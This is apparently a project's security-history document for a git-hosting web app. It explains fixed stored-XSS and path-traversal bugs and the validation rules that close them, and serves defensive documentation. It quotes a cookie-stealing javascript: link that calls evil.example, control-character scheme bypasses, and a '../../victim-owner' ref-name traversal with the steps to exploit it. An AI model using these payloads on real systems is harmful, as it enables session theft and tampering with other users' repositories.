Security history
How the security rules were arrived at, including the vulnerabilities behind them.
How the invariants in security.md were arrived at. Each section is the investigation that produced one of them, kept because the reasoning is what tells you whether a rule still applies when you change the code around it. The rules themselves — what must hold — live in security.md; this is the why.
Nothing here is a current vulnerability. Where a section describes something that was exploitable, it was fixed in the same change that added its rule, and the rule is what keeps it fixed.
Stored XSS in markdown rendering
MarkdownRenderer (src/components/MarkdownRenderer.tsx) renders content
that is fully attacker-controlled: issue bodies, PR bodies, comments, and
README files — anyone with write access to a repo can put arbitrary markdown in
front of anyone who views that content.
The link/image renderer used to render a raw <a href={href}>/<img src={src}> for any href/src that didn't match a known "external" pattern and
wasn't a recognized internal repo-reference link — reachable specifically when
no branch context was available, which is exactly the case for issue/PR/
comment bodies (they're rendered without a branch prop, only with owner/
name). A comment containing [click me](javascript:fetch('https://evil.example/steal?c='+document.cookie))
would render as a live javascript: link, executing in the viewer's
authenticated session on click.
Fix: isSafeHref/isSafeImageSrc gate every href/src before it reaches a
real DOM attribute. The rule is an allowlist, not a blocklist: a value with
no scheme at all is a relative reference (safe by construction), and an explicit
scheme is allowed only if it is http:, https: or mailto: — with data:
allowed additionally for images, and only for data:image/…, since an <img src="data:…"> cannot execute script the way an <a href="data:text/html,…">
navigation can. Anything else — javascript:, vbscript:, data:text/html,
whatever comes next — is rejected by construction rather than by keeping a
blocklist up to date.
The subtle half of that rule is what "has no scheme" means. These
predicates do not judge the value's literal prefix; they have to judge what the
browser's URL parser will do with it. That parser removes every ASCII tab and
newline from its input and strips leading C0 controls and spaces before it
reads the scheme, so both <java\tscript:alert(1)> and
<\u0001javascript:alert(1)> are live javascript: URLs even though neither
starts with javascript:. A prefix-anchored scheme test returns "no scheme, so
it's just a relative link" for both, and the original implementation did
exactly that. So any value containing a C0 control or a space is now rejected
outright, and only then is the scheme allowlisted. Nothing legitimate is lost: a
markdown destination cannot carry a raw control character or space — the
markdown parser percent-encodes them before the renderer sees the value.
That percent-encoding is worth knowing about, because it is not part of this
app's control and has silently neutralised these payloads all along: by the time
isSafeHref runs, java\tscript:… has already become java%09script:…, and
% is not a scheme character, so the browser resolves it as a relative path.
MarkdownRenderer.render.test.tsx therefore asserts the outcome through the
browser's own URL parser (new URL(value, origin).protocol is never
javascript:) rather than trusting that encoding to keep happening. If a
react-markdown upgrade, a rehype-raw addition, or a new caller ever stops
pre-encoding a user-controlled href, the test says so.
If you touch this component: any new place that renders a user-controlled href/src as a real attribute must go through these same two functions, and any new source of an href (JSON, a prop, an API field) must be judged knowing that it has not been through a markdown parser.
Path traversal via repository name
repositories.ts's createRepository/updateRepository used to validate the
repo name field with only z.string().min(1).max(100) — no character
restriction at all. That name becomes a segment of the repository's gitdir
(repos/{ownerKey}/{repoName}/git), and every path isomorphic-git hands
gitFs is normalized (.. resolved) before it's mapped onto an R2 key — a
repository named .. would put its gitdir at repos/git, outside its owner's
prefix; a name like ../victim/repo would land inside another user's
repository.
Fix, at two layers (defense in depth — don't remove either on the assumption the other covers it):
- Input validation — repository names (
repositories.ts'srepoNameSchema) and usernames (auth.ts'susernameValidator) must matchSTORAGE_NAME_RE,/^[A-Za-z0-9](?:[A-Za-z0-9._-]*[A-Za-z0-9])?$/: alphanumeric at both ends, no/or\, so never.or... - Key construction fails closed —
git-storage-naming.tschecks every segment against the same pattern when building a key and throws instead of sanitizing, so a caller that skipped validation can't reintroduce the bug by omission. Usernames can't change, so a key never goes stale.
S3 itself has no path resolution ("repos/x/../y" is a literal key), but
gitFs does, and every git operation goes through it — so treat these
segments as paths, not opaque strings.
Path traversal via git branch/ref names
A separate, more severe traversal bug than the repository-name one above:
branch/ref names — a git push's ref-update command, a branch name typed
into the web UI, a pull request's source/target branch — reached several
isomorphic-git primitives that, unlike git.branch/the top-level
git.writeRef, never validate the ref name themselves:
git.commit, git.merge, git.deleteBranch, and the top-level
git.resolveRef/git.deleteRef all resolve straight through
fs.write/fs.rm(join(gitdir, ref)) (or the R2-backend equivalent) with no
jail to the current repo's own directory.
That alone would be contained if the storage layer re-verified containment
per repository — but it doesn't.
The object-store fs (git-fs.ts, built on git-fs-s3's createGitFs) has
no notion of "which repo this request belongs to" — it's constructed with no
key prefix (gitdirs are the full storage roots), and maps whatever path
isomorphic-git hands it straight onto an R2 key, normalized only to resolve
./.. segments and reject one that would escape the store's own root
(git-fs-s3's normalizePath) — not any specific repository's gitdir. Once a
../-laden ref name collapses to a path like
repos/{victim-owner}/{victim-repo}/git/refs/heads/main, the store
reads/writes/deletes exactly that key — the victim's real ref file — even
though the operation started against the attacker's own repo's gitdir. This
was directly exploitable in production.
Two concrete ways this was reachable, both through the ordinary web UI (no git CLI, no raw HTTP crafting needed for the second one):
git push's receive-pack ref-update commands — the client-suppliedrefNamein each<oldOid> <newOid> <refName>command line was passed straight togit.resolveRef/git.deleteRef/git.writeRefin the receive-pack handler.git.writeRefhappens to validate internally, butgit.deleteRefandgit.resolveRefdon't — a ref-delete command withrefName: "../../victim-owner/victim-repo/git/refs/heads/main"andoldOidset to the all-zero oid trivially passes the compare-and-swap check (resolveRefon a non-well-formed-ref path fails and is treated as "doesn't exist yet"), then deletes that file.- Web-UI branch operations —
files.ts'suploadFile/deleteFile/createBranch/deleteBranchandpull-requests.ts'screatePullRequestall acceptedbranchName/sourceBranchName/targetBranchNameas a barez.string()with no format restriction. "Delete branch" with a traversal name reachesgit.deleteBranch(no CAS check needed at all, simpler to exploit than the push path above); a PR with a traversaltargetBranchName, once merged by anyone with merge rights, reachesgit.merge/git.commit.
Fix: src/server/git-ref-name.ts — isSafeFullRefName (for the
refs/heads/…/refs/tags/… shape a push's refName takes) and
isSafeBranchName (for the bare-name shape every other entry point takes,
also rejecting anything that already looks like a full ref path, which would
otherwise smuggle through unprefixed) — both built on the same character-class
rules isomorphic-git's own internal isValidRef uses. Applied at every layer,
matching the repository-name fix's defense-in-depth shape:
- Input validation —
files.tsandpull-requests.tsvalidate every branch-name-shaped field withsafeBranchNameSchemainstead of a barez.string(). - Point of use —
git-write.tsre-validates every branch name immediately before calling into isomorphic-git, so a future call site that skips the zod schema can't reintroduce the bug by omission. - Receive-pack —
git-fs-s3/http'sapplyRefUpdatesvalidates every ref-update command'srefNamewithisSafeFullRefNamebeforeresolveRef/deleteRef/writeRefrun, rejecting the command withok: false, reason: "invalid ref name".
Path traversal via the raw-content route's ref/path
/api/raw/{owner}/{repo}/{ref}/{...path} (src/server/raw.ts, the "Raw"
link and binary previews) reads its ref and path straight off the URL's
decoded segments and passed them directly into getFileContent — unlike every other entry point in the
app that accepts a branch-name- or path-shaped field, this route did not
run them through safeBranchNameSchema/safeRepoPathSchema first, since it's
a raw API route handler rather than one of files.ts's validated
createServerFns.
That resolves ref with the top-level git.resolveRef — one of the isomorphic-git primitives that (like
git.deleteRef/git.commit/git.merge — see the ref-name section above)
does not validate ref format internally. The read goes through gitFs, which
resolves ../ components before mapping the path onto an R2 key (see the
ref-name section above) — so a crafted ref could read another repository's
ref/blob data, bypassing that repository's own read-access check
entirely (the access check only ever validated access to the repo named in
the URL's {owner}/{repo}, not whatever repo the traversal actually reads
from).
Fix: both ref and path are validated (isSafeRefName /
isSafeRepoPath, git-ref-name.ts) before either reaches getFileContent,
returning a 404 for anything invalid — same posture as every other
branch/path field in the app. If you add a new route handler that reads
request-supplied path segments directly (rather than through one of
files.ts's already-validated server functions), run them through these same
validators rather than assuming access-control alone is enough.
Fixed: SHA-pinned blob viewing was rejected by the branch-name validator
isSafeBranchName deliberately rejects any 40-hex-char value (to keep a
stored branch name from ever being ambiguous with a commit SHA at write
time — see its comment in git-ref-name.ts) — but files.ts's read-path
handlers (getFile, listFiles, getLastCommits, getFileHistory,
getCommits) reused the same safeBranchNameSchema for their branchName
field, which is also the field the blob page's Permalink button relies on
being able to pass a full commit SHA (/repo/{owner}/{name}/blob/{sha}/{path}
— see isPinnedRevision in that route). The result: viewing a file pinned to
a specific commit threw a validation error before ever reaching the handler,
which the blob page's error || !file check silently rendered as "File Not
Found" — indistinguishable from the file genuinely not existing.
Fix: git-ref-name.ts now also exports isSafeRefName/
safeRefNameSchema, which accept either a valid branch name or a full
40-hex commit SHA, still rejecting every unsafe shape either check would
reject on its own. The read-path branchName fields above now use this;
write-path fields (uploadFile, deleteFile, createBranch, deleteBranch,
getBranchDiff, createPullRequest's branch fields) keep the stricter
safeBranchNameSchema, since a SHA is never a meaningful value there.
getCommit/getCommitDiff's commitSha field now uses a dedicated
safeCommitShaSchema (exact 40-hex) instead of a bare z.string(), for the
same defense-in-depth reason every other ref-shaped field is validated rather
than trusted.
Dependency vulnerabilities
As of 2026-10-19, pnpm 12 reports zero known vulnerabilities across both production and development dependencies, with no overrides or ignored advisories. The earlier remediation used overrides and advisory exclusions; those have all been removed.
The dependency graph was repaired at its owners:
- Removed the unused Cloudflare Vite plugin and its Wrangler/Miniflare graph.
- Disabled automatic peer installation instead of installing Better Auth's unused Prisma and other optional ORM peers.
- Upgraded TanStack Start and the remaining direct dependencies to releases that include patched transitive dependencies.
- Replaced
@tailwindcss/typographywith app-owned Markdown CSS and removed the installedshadcnCLI after vendoring its Tailwind utilities. This removed the vulnerable selector-parser and braces chains. - Replaced tsup with tsdown in both library builds.
- Upgraded Drizzle ORM and Kit together to 1.0.0-rc.4, removing the old
@esbuild-kit/ esbuild dependency chain. Migrated relational queries and programmatic schema pushes to the new APIs.
Two earlier failures explain this policy. An open-ended undici override
resolved to a new major whose internal paths were incompatible with jsdom,
breaking the suite. Separately, pnpm 9.15.5 claimed package.json settings had
moved to the workspace file, but moving the overrides silently disabled them
and reintroduced vulnerable versions. These are historical observations,
not instructions for pnpm 12: current settings belong in
pnpm-workspace.yaml, and there are no overrides to maintain.
For future findings, inspect the complete dependency path, upgrade or remove its owning dependency, and run audit, typecheck, tests, build and native-git smoke checks. A clean audit alone does not establish API compatibility.
A known, separate issue (not a vulnerability, but worth knowing)
Blob routes for files ending in .md (e.g. viewing a README.md through the
blob viewer) currently 404 before ever reaching the app's own router, with a
raw connect-style Cannot GET ... body — confirmed via pnpm dev that this
is specific to .md (a sibling request for the same nonexistent repo/path
with a .txt extension, or no extension at all, both reach the app and hit
the expected DB/repo-not-found error instead). Root cause is nitro's local
Vercel-dev-emulation static-asset short-circuit misfiring for .md
specifically — not yet traced to the exact line, since it isn't reproducible
by grepping nitro's dist for any .md-specific handling.
This is very likely dev-only, not a production bug: the actual generated
.vercel/output/config.json routing (inspected directly after a real
pnpm build) has no rule that treats .md specially — it's just the
generic publicAssets cache-control rule plus { "handle": "filesystem" }
falling through to /__server for anything without a real matching file in
.vercel/output/static. Since no build output ever contains a static file at
a path like /repo/{owner}/{repo}/blob/{branch}/README.md, real Vercel
routing's filesystem-handle step has nothing to match and should fall
through to the SSR function correctly. The previous note in this doc
speculating this "would also break in a real deployment" was not verified
against the actual routing config and should not be treated as confirmed —
if you're debugging a .md-related 404 in an actual deployed environment,
treat it as a new finding rather than assuming this is the cause.